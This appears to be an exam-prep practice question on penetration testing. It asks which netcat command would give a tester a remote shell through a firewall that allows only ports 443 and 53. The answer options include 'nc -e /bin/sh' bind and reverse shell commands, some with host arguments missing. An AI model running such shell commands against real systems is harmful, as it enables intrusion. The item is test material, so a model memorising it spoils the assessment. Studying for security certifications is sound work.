QuestionQ132
Post-exploitation and Lateral MovementA penetration tester discovers an unauthenticated RCE vulnerability on a web server and wants to use it to enumerate other servers on the local network. The web server is behind a firewall that permits only incoming connections to TCP ports 443 and 53, with unrestricted outbound TCP connections. The target web server is https://target.comptia.org. Which of the following should the tester use to accomplish the task with the fewest web requests?
- A nc -e /bin/sh -lp 53
- B /bin/sh -c 'nc -l -p 443'
- C nc -e /bin/sh 53
- D /bin/sh -c 'nc 443'
Community Discussion